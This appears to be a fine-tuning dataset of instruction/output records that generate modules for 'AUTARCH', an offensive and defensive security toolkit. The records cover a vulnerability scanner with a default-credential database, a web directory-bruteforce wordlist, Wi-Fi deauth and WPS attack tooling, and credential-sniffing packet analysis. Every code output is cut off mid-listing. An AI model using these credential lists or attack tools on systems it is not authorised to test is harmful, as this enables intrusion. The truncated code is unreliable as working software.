SoC during boot allows bypassing '\n 'signature verification, enabling arbitrary code execution. '\n 'Demonstrated by Lennert Wouters at Black Hat 2022 using a custom '\n 'modchip soldered to the UT mainboard.'\n ),\n 'technique': 'Hardware fault injection (voltage glitching)',\n 'references': [\n 'https://www.usenix.org/conference/usenixsecurity23/presentation/wouters',\n 'https://github.com/KULeuven-COSIC/Starlink-FI',\n ],\n },\n {\n 'cve': 'CVE-2023-STARLINK-01',\n 'title': 'gRPC API unauthenticated access',\n 'severity': 'High',\n 'cvss': 7.5,\n 'affected': 'Starlink UT firmware < 2023.48.0',\n 'description': (\n 'The Starlink user terminal exposes a gRPC API on port 9200 '\n 'accessible from the local network without authentication. This '\n 'allows any device on the LAN to query dish status, send stow/unstow '\n 'commands, trigger reboots, and potentially factory reset
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'counter' category that steganography — hide & extract data in files. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: steganography\nCategory: counter\nDescription: Steganography — hide & extract data in files", "output": "\"\"\"AUTARCH Steganography\n\nImage/audio/document steganography — hide data in carrier files using LSB\nencoding, DCT domain embedding, and whitespace encoding. Includes detection\nvia statistical analysis and optional AES-256 encryption.\n\"\"\"\n\nDESCRIPTION = \"Steganography — hide & extract data in files\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"counter\"\n\nimport os\nimport io\nimport re\nimport json\nimport struct\nimport hashlib\nimport secrets\nfrom pathlib import Path\nfrom typing import Dict, List, Optional, Tuple\n\ntry:\n from core.paths import get_data_dir\nexcept ImportError:\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\n# Optional imports\ntry:\n from PIL import Image\n HAS_PIL = True\nexcept ImportError:\n HAS_PIL = False\n\ntry:\n from Crypto.Cipher import AES\n from Crypto.Util.Padding import pad, unpad\n HAS_CRYPTO = True\nexcept ImportError:\n try:\n from Cryptodome.Cipher import AES\n from Cryptodome.Util.Padding import pad, unpad\n HAS_CRYPTO = True\n except ImportError:\n HAS_CRYPTO = False\n\ntry:\n import wave\n HAS_WAVE = True\nexcept ImportError:\n HAS_WAVE = False\n\n\n# ── Encryption Layer ─────────────────────────────────────────────────────────\n\ndef _derive_key(password: str) -> bytes:\n \"\"\"Derive 256-bit key from password.\"\"\"\n return hashlib.sha256(password.encode()).digest()\n\ndef _encrypt_data(data: bytes, password: str) -> bytes:\n \"\"\"AES-256-CBC encrypt data.\"\"\"\n if not HAS_CRYPTO:\n return data\n key = _derive_key(password)\n iv = secrets.token_bytes(16)\n cipher = AES.new(key, AES.MODE_CBC, iv)\n ct = cipher.encrypt(pad(data, AES.block_size))\n return iv + ct\n\ndef _decrypt_data(data: bytes, password: str) -> bytes:\n \"\"\"AES-256-CBC decrypt data.\"\"\"\n if not HAS_CRYPTO:\n return data\n key = _derive_key(password)\n iv = data[:16]\n ct = data[16:]\n cipher = AES.new(key, AES.MODE_CBC, iv)\n return unpad(cipher.decrypt(ct), AES.block_size)\n\n\n# ── LSB Image Steganography ──────────────────────────────────────────────────\n\nclass ImageStego:\n \"\"\"LSB steganography for PNG/BMP images.\"\"\"\n\n MAGIC = b'ASTS' # AUTARCH Stego Signature\n\n @staticmethod\n def capacity(image_path: str) -> Dict:\n \"\"\"Calculate maximum payload capacity in bytes.\"\"\"\n if not HAS_PIL:\n return {'ok': False, 'error': 'Pillow (PIL) not installed'}\n try:\n img = Image.open(image_path)\n w, h = img.size\n channels = len(img.getbands())\n # 1 bit per channel per pixel, minus header\n total_bits = w * h * channels\n total_bytes = total_bits // 8 - 8 # subtract header (magic + length)\n return {\n 'ok': True, 'capacity_bytes': max(0, total_bytes),\n 'width': w, 'height': h, 'channels': channels,\n 'format': img.format\n }\n except Exception as e:\n return {'ok': False, 'error': str(e)}\n\n @staticmethod\n def hide(image_path: str, data: bytes, output_path: str,\n password: str = None, bits_per_channel: int = 1) -> Dict:\n \"\"\"Hide data in image using LSB encoding.\"\"\"\n if not HAS_PIL:\n return {'ok': False, 'error': 'Pillow (PIL) not installed'}\n\n
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'defense' category that threat intelligence & ioc management. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: threat_intel\nCategory: defense\nDescription: Threat intelligence & IOC management", "output": "\"\"\"AUTARCH Threat Intelligence Feed\n\nIOC management, feed ingestion (STIX/TAXII, CSV, JSON), correlation with\nOSINT dossiers, reputation lookups, alerting, and blocklist generation.\n\"\"\"\n\nDESCRIPTION = \"Threat intelligence & IOC management\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"defense\"\n\nimport os\nimport re\nimport json\nimport time\nimport hashlib\nimport threading\nfrom pathlib import Path\nfrom datetime import datetime, timezone\nfrom dataclasses import dataclass, field\nfrom typing import Dict, List, Optional, Any, Set\nfrom urllib.parse import urlparse\n\ntry:\n from core.paths import get_data_dir\nexcept ImportError:\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\ntry:\n import requests\nexcept ImportError:\n requests = None\n\n\n# ── Data Structures ──────────────────────────────────────────────────────────\n\nIOC_TYPES = ['ip', 'domain', 'url', 'hash_md5', 'hash_sha1', 'hash_sha256', 'email', 'filename']\n\n@dataclass\nclass IOC:\n value: str\n ioc_type: str\n source: str = \"manual\"\n tags: List[str] = field(default_factory=list)\n severity: str = \"unknown\" # critical, high, medium, low, info, unknown\n first_seen: str = \"\"\n last_seen: str = \"\"\n description: str = \"\"\n reference: str = \"\"\n active: bool = True\n\n def to_dict(self) -> Dict:\n return {\n 'value': self.value, 'ioc_type': self.ioc_type,\n 'source': self.source, 'tags': self.tags,\n 'severity': self.severity, 'first_seen': self.first_seen,\n 'last_seen': self.last_seen, 'description': self.description,\n 'reference': self.reference, 'active': self.active,\n 'id': hashlib.md5(f\"{self.ioc_type}:{self.value}\".encode()).hexdigest()[:12]\n }\n\n @staticmethod\n def from_dict(d: Dict) -> 'IOC':\n return IOC(\n value=d['value'], ioc_type=d['ioc_type'],\n source=d.get('source', 'manual'), tags=d.get('tags', []),\n severity=d.get('severity', 'unknown'),\n first_seen=d.get('first_seen', ''), last_seen=d.get('last_seen', ''),\n description=d.get('description', ''), reference=d.get('reference', ''),\n active=d.get('active', True)\n )\n\n@dataclass\nclass Feed:\n name: str\n feed_type: str # taxii, csv_url, json_url, stix_file\n url: str = \"\"\n api_key: str = \"\"\n enabled: bool = True\n last_fetch: str = \"\"\n ioc_count: int = 0\n interval_hours: int = 24\n\n def to_dict(self) -> Dict:\n return {\n 'name': self.name, 'feed_type': self.feed_type,\n 'url': self.url, 'api_key': self.api_key,\n 'enabled': self.enabled, 'last_fetch': self.last_fetch,\n 'ioc_count': self.ioc_count, 'interval_hours': self.interval_hours,\n 'id': hashlib.md5(f\"{self.name}:{self.url}\".encode()).hexdigest()[:12]\n }\n\n\n# ── Threat Intel Engine ──────────────────────────────────────────────────────\n\nclass ThreatIntelEngine:\n \"\"\"IOC management and threat intelligence correlation.\"\"\"\n\n def __init__(self):\n self.data_dir = os.path.join(get_data_dir(), 'threat_intel')\n os.makedirs(self.data_dir, exist_ok=True)\n self.iocs: List[IOC] = []\n self.feeds: List[Feed] = []\n self.alerts: List[Dict] = []\n self._lock = threading.Lock()\n self._load()\
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'defense' category that upnp port forwarding manager. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: upnp_manager\nCategory: defense\nDescription: UPnP port forwarding manager", "output": "\"\"\"\nAUTARCH UPnP Port Manager Module\nManage UPnP port forwarding and cron refresh jobs\n\nRequires: miniupnpc (upnpc command)\n\"\"\"\n\nimport sys\nfrom pathlib import Path\n\n# Module metadata\nDESCRIPTION = \"UPnP port forwarding manager\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"defense\"\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\nfrom core.banner import Colors, clear_screen\nfrom core.config import get_config\nfrom core.upnp import get_upnp_manager\n\n\ndef print_status(message: str, status: str = \"info\"):\n colors = {\"info\": Colors.CYAN, \"success\": Colors.GREEN, \"warning\": Colors.YELLOW, \"error\": Colors.RED}\n symbols = {\"info\": \"*\", \"success\": \"+\", \"warning\": \"!\", \"error\": \"X\"}\n print(f\"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}\")\n\n\ndef show_menu(upnp):\n \"\"\"Display the UPnP manager menu.\"\"\"\n cron = upnp.get_cron_status()\n cron_str = f\"every {cron['interval']}\" if cron['installed'] else \"not installed\"\n internal_ip = upnp._get_internal_ip()\n\n print(f\"\\n{Colors.BOLD}{Colors.BLUE}UPnP Port Manager{Colors.RESET}\")\n print(f\"{Colors.DIM}{'─' * 40}{Colors.RESET}\")\n print(f\" Internal IP: {Colors.CYAN}{internal_ip}{Colors.RESET}\")\n print(f\" Cron: {Colors.GREEN if cron['installed'] else Colors.YELLOW}{cron_str}{Colors.RESET}\")\n print(f\"{Colors.DIM}{'─' * 40}{Colors.RESET}\")\n print(f\" {Colors.BLUE}[1]{Colors.RESET} Show Current Mappings\")\n print(f\" {Colors.BLUE}[2]{Colors.RESET} Add Port Mapping\")\n print(f\" {Colors.BLUE}[3]{Colors.RESET} Remove Port Mapping\")\n print(f\" {Colors.BLUE}[4]{Colors.RESET} Refresh All Mappings\")\n print(f\" {Colors.BLUE}[5]{Colors.RESET} Show External IP\")\n print(f\" {Colors.BLUE}[6]{Colors.RESET} Cron Job Settings\")\n print(f\" {Colors.BLUE}[7]{Colors.RESET} Edit Internal IP\")\n print(f\" {Colors.BLUE}[8]{Colors.RESET} Edit Port Mappings Config\")\n print(f\" {Colors.RED}[0]{Colors.RESET} Back\")\n print()\n\n\ndef show_mappings(upnp):\n \"\"\"Show current UPnP port mappings.\"\"\"\n print(f\"\\n{Colors.BOLD}Current UPnP Mappings{Colors.RESET}\")\n success, output = upnp.list_mappings()\n if success:\n print(output)\n else:\n print_status(output, \"error\")\n input(f\"\\n{Colors.DIM}Press Enter to continue...{Colors.RESET}\")\n\n\ndef add_mapping(upnp):\n \"\"\"Add a new port mapping.\"\"\"\n print(f\"\\n{Colors.BOLD}Add Port Mapping{Colors.RESET}\")\n try:\n internal_ip = upnp._get_internal_ip()\n ext_port = input(f\" External port: \").strip()\n if not ext_port:\n return\n ext_port = int(ext_port)\n\n int_port_str = input(f\" Internal port [{ext_port}]: \").strip()\n int_port = int(int_port_str) if int_port_str else ext_port\n\n proto = input(f\" Protocol (TCP/UDP) [TCP]: \").strip().upper()\n if not proto:\n proto = 'TCP'\n if proto not in ('TCP', 'UDP'):\n print_status(\"Invalid protocol\", \"error\")\n return\n\n desc = input(f\" Description [AUTARCH]: \").strip()\n if not desc:\n desc = 'AUTARCH'\n\n success, output = upnp.add_mapping(internal_ip, int_port, ext_port, proto, desc)\n if success:\n print_status(f\"Mapping added: {ext_port}/{proto} -> {internal_ip}:{int_port}\", \"success\")\n # Offer to save to config\n save = input(f\"\\n Save to config? (y/n) [y]: \").strip().lower()\n if save != 'n':\n mappings = upnp.load_mappings_from_config()\n
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that vulnerability scanning & cve detection. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: vuln_scanner\nCategory: offense\nDescription: Vulnerability scanning & CVE detection", "output": "\"\"\"AUTARCH Vulnerability Scanner\n\nTemplate-based vulnerability scanning with Nuclei/OpenVAS integration,\nbuilt-in CVE matching, default credential checking, and scan profiles.\n\"\"\"\n\nDESCRIPTION = \"Vulnerability scanning & CVE detection\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nimport os\nimport re\nimport json\nimport ssl\nimport csv\nimport time\nimport socket\nimport hashlib\nimport threading\nimport subprocess\nfrom io import StringIO\nfrom pathlib import Path\nfrom datetime import datetime, timezone\nfrom typing import Dict, List, Optional, Any, Tuple\nfrom urllib.parse import urlparse\n\ntry:\n from core.paths import find_tool, get_data_dir\nexcept ImportError:\n import shutil\n\n def find_tool(name):\n return shutil.which(name)\n\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\ntry:\n import requests\n from requests.exceptions import RequestException\n _HAS_REQUESTS = True\nexcept ImportError:\n _HAS_REQUESTS = False\n\ntry:\n import sys\n sys.path.insert(0, str(Path(__file__).parent.parent))\n from core.banner import Colors, clear_screen, display_banner\nexcept ImportError:\n class Colors:\n RED = YELLOW = GREEN = CYAN = DIM = RESET = WHITE = ''\n def clear_screen(): pass\n def display_banner(): pass\n\n\n# ── Security Headers ─────────────────────────────────────────────────────────\n\nSECURITY_HEADERS = [\n 'Content-Security-Policy',\n 'Strict-Transport-Security',\n 'X-Frame-Options',\n 'X-Content-Type-Options',\n 'Referrer-Policy',\n 'Permissions-Policy',\n 'Cross-Origin-Opener-Policy',\n 'Cross-Origin-Resource-Policy',\n 'Cross-Origin-Embedder-Policy',\n 'X-XSS-Protection',\n]\n\n# ── Default Credentials Database ─────────────────────────────────────────────\n\nDEFAULT_CREDS: Dict[str, List[Tuple[str, str]]] = {\n 'ssh': [\n ('root', 'root'), ('root', 'toor'), ('root', 'password'), ('root', 'admin'),\n ('root', '123456'), ('root', '12345678'), ('admin', 'admin'), ('admin', 'password'),\n ('admin', '1234'), ('user', 'user'), ('user', 'password'), ('pi', 'raspberry'),\n ('ubuntu', 'ubuntu'), ('vagrant', 'vagrant'), ('deploy', 'deploy'),\n ('test', 'test'), ('guest', 'guest'), ('oracle', 'oracle'),\n ],\n 'ftp': [\n ('anonymous', ''), ('anonymous', 'anonymous'), ('ftp', 'ftp'),\n ('admin', 'admin'), ('admin', 'password'), ('root', 'root'),\n ('user', 'user'), ('test', 'test'), ('guest', 'guest'),\n ],\n 'mysql': [\n ('root', ''), ('root', 'root'), ('root', 'mysql'), ('root', 'password'),\n ('root', 'admin'), ('root', 'toor'), ('admin', 'admin'), ('admin', 'password'),\n ('mysql', 'mysql'), ('dbadmin', 'dbadmin'), ('db', 'db'),\n ('test', 'test'), ('user', 'user'),\n ],\n 'postgresql': [\n ('postgres', 'postgres'), ('postgres', 'password'), ('postgres', 'admin'),\n ('postgres', ''), ('admin', 'admin'), ('admin', 'password'),\n ('user', 'user'), ('pgsql', 'pgsql'),\n ],\n 'redis': [\n ('', ''), ('', 'redis'), ('', 'password'), ('', 'admin'),\n ('', 'foobared'), ('default', 'default'), ('default', ''),\n ],\n 'mongodb': [\n ('', ''), ('admin', 'admin'), ('admin', 'password'), ('admin', ''),\n ('root', 'root'), ('root', 'password'), ('mongouser', 'mongopass'),\n ],\n 'telnet': [\n ('root', 'root'), ('admin', 'ad
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that web application vulnerability scanner. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: webapp_scanner\nCategory: offense\nDescription: Web application vulnerability scanner", "output": "\"\"\"AUTARCH Web Application Scanner\n\nDirectory bruteforce, subdomain enumeration, vulnerability scanning (SQLi, XSS),\nheader analysis, technology fingerprinting, SSL/TLS audit, and crawler.\n\"\"\"\n\nDESCRIPTION = \"Web application vulnerability scanner\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nimport os\nimport re\nimport json\nimport time\nimport ssl\nimport socket\nimport hashlib\nimport threading\nimport subprocess\nfrom pathlib import Path\nfrom urllib.parse import urlparse, urljoin, quote\nfrom dataclasses import dataclass, field\nfrom typing import Dict, List, Optional, Any, Set\nfrom datetime import datetime, timezone\n\ntry:\n from core.paths import find_tool, get_data_dir\nexcept ImportError:\n import shutil\n def find_tool(name):\n return shutil.which(name)\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\ntry:\n import requests\n from requests.exceptions import RequestException\n _HAS_REQUESTS = True\nexcept ImportError:\n _HAS_REQUESTS = False\n\n\n# ── Tech Fingerprints ─────────────────────────────────────────────────────────\n\nTECH_SIGNATURES = {\n 'WordPress': {'headers': [], 'body': ['wp-content', 'wp-includes', 'wp-json'], 'cookies': ['wordpress_']},\n 'Drupal': {'headers': ['X-Drupal-'], 'body': ['Drupal.settings', 'sites/default'], 'cookies': ['SESS']},\n 'Joomla': {'headers': [], 'body': ['/media/jui/', 'com_content'], 'cookies': []},\n 'Laravel': {'headers': [], 'body': ['laravel_session'], 'cookies': ['laravel_session']},\n 'Django': {'headers': [], 'body': ['csrfmiddlewaretoken', '__admin__'], 'cookies': ['csrftoken', 'sessionid']},\n 'Express': {'headers': ['X-Powered-By: Express'], 'body': [], 'cookies': ['connect.sid']},\n 'ASP.NET': {'headers': ['X-AspNet-Version', 'X-Powered-By: ASP.NET'], 'body': ['__VIEWSTATE', '__EVENTVALIDATION'], 'cookies': ['ASP.NET_SessionId']},\n 'PHP': {'headers': ['X-Powered-By: PHP'], 'body': ['.php'], 'cookies': ['PHPSESSID']},\n 'Nginx': {'headers': ['Server: nginx'], 'body': [], 'cookies': []},\n 'Apache': {'headers': ['Server: Apache'], 'body': [], 'cookies': []},\n 'IIS': {'headers': ['Server: Microsoft-IIS'], 'body': [], 'cookies': []},\n 'Cloudflare': {'headers': ['Server: cloudflare', 'cf-ray'], 'body': [], 'cookies': ['__cfduid']},\n 'React': {'headers': [], 'body': ['react-root', '_reactRootContainer', 'data-reactroot'], 'cookies': []},\n 'Angular': {'headers': [], 'body': ['ng-app', 'ng-controller', 'angular.min.js'], 'cookies': []},\n 'Vue.js': {'headers': [], 'body': ['vue.min.js', 'v-bind:', 'v-if=', '__vue__'], 'cookies': []},\n 'jQuery': {'headers': [], 'body': ['jquery.min.js', 'jquery-'], 'cookies': []},\n 'Bootstrap': {'headers': [], 'body': ['bootstrap.min.css', 'bootstrap.min.js'], 'cookies': []},\n}\n\nSECURITY_HEADERS = [\n 'Content-Security-Policy',\n 'X-Content-Type-Options',\n 'X-Frame-Options',\n 'X-XSS-Protection',\n 'Strict-Transport-Security',\n 'Referrer-Policy',\n 'Permissions-Policy',\n 'Cross-Origin-Opener-Policy',\n 'Cross-Origin-Resource-Policy',\n 'Cross-Origin-Embedder-Policy',\n]\n\n# Common directories for bruteforce\nDIR_WORDLIST_SMALL = [\n 'admin', 'login', 'wp-admin', 'administrator', 'phpmyadmin', 'cpanel',\n 'dashboard', 'api', 'backup', 'config', 'db', 'debug', 'dev', 'docs',\n 'dump', 'env', 'git', 'hidden', 'include', 'internal', 'log', 'logs',\n 'old', 'panel', 'private', 'secret', 'server-status', 'shell', 'sql',\n 'staging', 'status', 'temp'
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that wifi network auditing & attack tools. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: wifi_audit\nCategory: offense\nDescription: WiFi network auditing & attack tools", "output": "\"\"\"AUTARCH WiFi Auditing\n\nInterface management, network discovery, handshake capture, deauth attack,\nrogue AP detection, WPS attack, and packet capture for wireless security auditing.\n\"\"\"\n\nDESCRIPTION = \"WiFi network auditing & attack tools\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nimport os\nimport re\nimport json\nimport time\nimport signal\nimport shutil\nimport threading\nimport subprocess\nfrom pathlib import Path\nfrom dataclasses import dataclass, field\nfrom typing import Dict, List, Optional, Any, Tuple\n\ntry:\n from core.paths import find_tool, get_data_dir\nexcept ImportError:\n def find_tool(name):\n return shutil.which(name)\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\n\n# ── Data Structures ──────────────────────────────────────────────────────────\n\n@dataclass\nclass AccessPoint:\n bssid: str\n ssid: str = \"\"\n channel: int = 0\n encryption: str = \"\"\n cipher: str = \"\"\n auth: str = \"\"\n signal: int = 0\n beacons: int = 0\n data_frames: int = 0\n clients: List[str] = field(default_factory=list)\n\n@dataclass\nclass WifiClient:\n mac: str\n bssid: str = \"\"\n signal: int = 0\n frames: int = 0\n probe: str = \"\"\n\n\n# ── WiFi Auditor ─────────────────────────────────────────────────────────────\n\nclass WiFiAuditor:\n \"\"\"WiFi auditing toolkit using aircrack-ng suite.\"\"\"\n\n def __init__(self):\n self.data_dir = os.path.join(get_data_dir(), 'wifi')\n os.makedirs(self.data_dir, exist_ok=True)\n self.captures_dir = os.path.join(self.data_dir, 'captures')\n os.makedirs(self.captures_dir, exist_ok=True)\n\n # Tool paths\n self.airmon = find_tool('airmon-ng') or shutil.which('airmon-ng')\n self.airodump = find_tool('airodump-ng') or shutil.which('airodump-ng')\n self.aireplay = find_tool('aireplay-ng') or shutil.which('aireplay-ng')\n self.aircrack = find_tool('aircrack-ng') or shutil.which('aircrack-ng')\n self.reaver = find_tool('reaver') or shutil.which('reaver')\n self.wash = find_tool('wash') or shutil.which('wash')\n self.iwconfig = shutil.which('iwconfig')\n self.iw = shutil.which('iw')\n self.ip_cmd = shutil.which('ip')\n\n # State\n self.monitor_interface: Optional[str] = None\n self.scan_results: Dict[str, AccessPoint] = {}\n self.clients: List[WifiClient] = []\n self.known_aps: List[Dict] = []\n self._scan_proc: Optional[subprocess.Popen] = None\n self._capture_proc: Optional[subprocess.Popen] = None\n self._jobs: Dict[str, Dict] = {}\n\n def get_tools_status(self) -> Dict[str, bool]:\n \"\"\"Check availability of all required tools.\"\"\"\n return {\n 'airmon-ng': self.airmon is not None,\n 'airodump-ng': self.airodump is not None,\n 'aireplay-ng': self.aireplay is not None,\n 'aircrack-ng': self.aircrack is not None,\n 'reaver': self.reaver is not None,\n 'wash': self.wash is not None,\n 'iwconfig': self.iwconfig is not None,\n 'iw': self.iw is not None,\n 'ip': self.ip_cmd is not None,\n }\n\n # ── Interface Management ─────────────────────────────────────────────\n\n
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'defense' category that wireguard vpn + remote adb manager. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: wireguard_manager\nCategory: defense\nDescription: WireGuard VPN + Remote ADB manager", "output": "\"\"\"\nWireGuard VPN Manager - Server management, client CRUD, remote ADB\nManage WireGuard VPN server, clients, and remote ADB connections over VPN tunnel.\n\"\"\"\n\nDESCRIPTION = \"WireGuard VPN + Remote ADB manager\"\nAUTHOR = \"AUTARCH\"\nVERSION = \"1.0\"\nCATEGORY = \"defense\"\n\n\nclass WireGuardVPN:\n \"\"\"Interactive WireGuard VPN menu.\"\"\"\n\n def __init__(self):\n from core.wireguard import get_wireguard_manager\n self.mgr = get_wireguard_manager()\n\n def show_menu(self):\n status = self.mgr.get_server_status()\n running = status.get('running', False)\n endpoint = status.get('endpoint', 'N/A')\n clients = self.mgr.get_all_clients()\n peer_status = self.mgr.get_peer_status() if running else {}\n\n # Count online peers\n online = 0\n for c in clients:\n ps = peer_status.get(c.get('public_key', ''), {})\n hs = ps.get('latest_handshake')\n if hs is not None and hs < 180:\n online += 1\n\n print(f\"\\n{'='*55}\")\n print(\" WireGuard VPN Manager\")\n print(f\"{'='*55}\")\n print(f\" Interface: {status.get('interface', 'wg0')} | \"\n f\"Status: {'Running' if running else 'Stopped'}\")\n print(f\" Endpoint: {endpoint}\")\n print(f\" Clients: {len(clients)} ({online} online)\")\n print()\n print(\" -- Server --\")\n print(\" 1) Server Status\")\n print(\" 2) Start Interface\")\n print(\" 3) Stop Interface\")\n print(\" 4) Restart Interface\")\n print()\n print(\" -- Clients --\")\n print(\" 10) List All Clients\")\n print(\" 11) Create New Client\")\n print(\" 12) View Client Detail\")\n print(\" 13) Delete Client\")\n print(\" 14) Enable/Disable Client\")\n print(\" 15) Import Existing Peers\")\n print()\n print(\" -- Remote ADB --\")\n print(\" 20) ADB Connect (TCP/IP)\")\n print(\" 21) ADB Disconnect\")\n print(\" 22) Auto-Connect All Peers\")\n print(\" 23) List Remote ADB Devices\")\n print()\n print(\" -- USB/IP --\")\n print(\" 30) USB/IP Status\")\n print(\" 31) Load USB/IP Modules\")\n print(\" 32) List Remote USB Devices\")\n print(\" 33) Attach USB Device\")\n print(\" 34) Detach USB Device\")\n print(\" 35) List Attached Ports\")\n print()\n print(\" -- Config --\")\n print(\" 40) Generate Client Config\")\n print(\" 41) Show QR Code (terminal)\")\n print(\" 42) Refresh UPnP Mapping\")\n print()\n print(\" 0) Back\")\n print()\n\n # ── Helpers ─────────────────────────────────────────────────────\n\n def _pick_client(self, prompt=\" Select client #: \"):\n \"\"\"Select a client from the list.\"\"\"\n clients = self.mgr.get_all_clients()\n if not clients:\n print(\" No clients configured.\")\n return None\n print(\"\\n Clients:\")\n for i, c in enumerate(clients, 1):\n status = \"ON \" if c.get('enabled', True) else \"OFF\"\n print(f\" {i}) [{status}] {c['name']} ({c['assigned_ip']})\")\n try:\n choice = int(input(prompt).strip())\n if 1 <= choice <= len(clients):\n return clients[choice - 1]\n except (ValueError, EOFError, KeyboardInterrupt):\n pass\n return None\n\n def _pick_client_ip(self, prompt=\" Clie
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'analyze' category that packet capture & analysis (scapy). The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: wireshark\nCategory: analyze\nDescription: Packet capture & analysis (scapy)", "output": "\"\"\"\nAUTARCH Wireshark Module\nPacket capture and analysis (scapy + optional tshark)\n\nLive capture, PCAP analysis, protocol/conversation/DNS/HTTP analysis,\ncredential detection.\n\"\"\"\n\nimport os\nimport sys\nfrom pathlib import Path\n\n# Module metadata\nDESCRIPTION = \"Packet capture & analysis (scapy)\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"analyze\"\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\nfrom core.banner import Colors, clear_screen, display_banner\nfrom core.wireshark import get_wireshark_manager\n\n\nclass PacketAnalyzer:\n \"\"\"Packet capture and analysis tools.\"\"\"\n\n def __init__(self):\n self.mgr = get_wireshark_manager()\n\n def print_status(self, message: str, status: str = \"info\"):\n colors = {\"info\": Colors.CYAN, \"success\": Colors.GREEN, \"warning\": Colors.YELLOW, \"error\": Colors.RED}\n symbols = {\"info\": \"*\", \"success\": \"+\", \"warning\": \"!\", \"error\": \"X\"}\n print(f\"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}\")\n\n def show_menu(self):\n while True:\n clear_screen()\n display_banner()\n print(f\"\\n{Colors.BOLD}Wireshark / Packet Analysis{Colors.RESET}\")\n\n # Status\n status = self.mgr.get_status()\n engine = []\n if status['scapy']:\n engine.append(f'{Colors.GREEN}scapy{Colors.RESET}')\n else:\n engine.append(f'{Colors.RED}scapy (missing){Colors.RESET}')\n if status['tshark']:\n engine.append(f'{Colors.GREEN}tshark{Colors.RESET}')\n else:\n engine.append(f'{Colors.YELLOW}tshark (not found){Colors.RESET}')\n print(f\" Engine: {' + '.join(engine)}\")\n if status['can_capture']:\n print(f\" Live capture: {Colors.GREEN}available{Colors.RESET}\")\n else:\n print(f\" Live capture: {Colors.YELLOW}needs root{Colors.RESET}\")\n\n print(f\"\\n {Colors.CYAN}[1]{Colors.RESET} List Interfaces\")\n print(f\" {Colors.CYAN}[2]{Colors.RESET} Start Live Capture\")\n print(f\" {Colors.CYAN}[3]{Colors.RESET} Open PCAP File\")\n print(f\" {Colors.CYAN}[4]{Colors.RESET} Protocol Analysis\")\n print(f\" {Colors.CYAN}[5]{Colors.RESET} Conversation Analysis\")\n print(f\" {Colors.CYAN}[6]{Colors.RESET} DNS Query Analysis\")\n print(f\" {Colors.CYAN}[7]{Colors.RESET} HTTP Traffic Analysis\")\n print(f\" {Colors.CYAN}[8]{Colors.RESET} Credential Detection\")\n print(f\" {Colors.CYAN}[9]{Colors.RESET} Export Results\")\n print(f\" {Colors.CYAN}[0]{Colors.RESET} Back\")\n\n choice = input(f\"\\n{Colors.WHITE}Select option: {Colors.RESET}\").strip()\n\n if choice == '0':\n break\n elif choice == '1':\n self.list_interfaces()\n elif choice == '2':\n self.start_capture()\n elif choice == '3':\n self.open_pcap()\n elif choice == '4':\n self.protocol_analysis()\n elif choice == '5':\n self.conversation_analysis()\n elif choice == '6':\n self.dns_analysis()\n elif choice == '7':\n self.http_analysis()\n elif choice == '8':\n self.credential_detection()\n elif choice == '9':\n self.export_results()\n\n def list_interfaces(self):\n \"\"\"List network interfaces.\"\"\"\n print(f\"\\n{Colors.BOLD}Ne
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that automated pentest workflow. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: workflow\nCategory: offense\nDescription: Automated pentest workflow", "output": "\"\"\"\nAUTARCH Workflow Module\nAutomated pentest pipeline orchestration\n\nRun multi-step security assessments with automated data flow between tools.\n\"\"\"\n\nimport os\nimport sys\nimport json\nimport subprocess\nimport re\nimport time\nfrom pathlib import Path\nfrom datetime import datetime\n\n# Module metadata\nDESCRIPTION = \"Automated pentest workflow\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\nfrom core.banner import Colors, clear_screen, display_banner\n\n\nclass WorkflowRunner:\n \"\"\"Orchestrate multi-step pentest workflows.\"\"\"\n\n def __init__(self):\n self.results_dir = Path(\"results\")\n 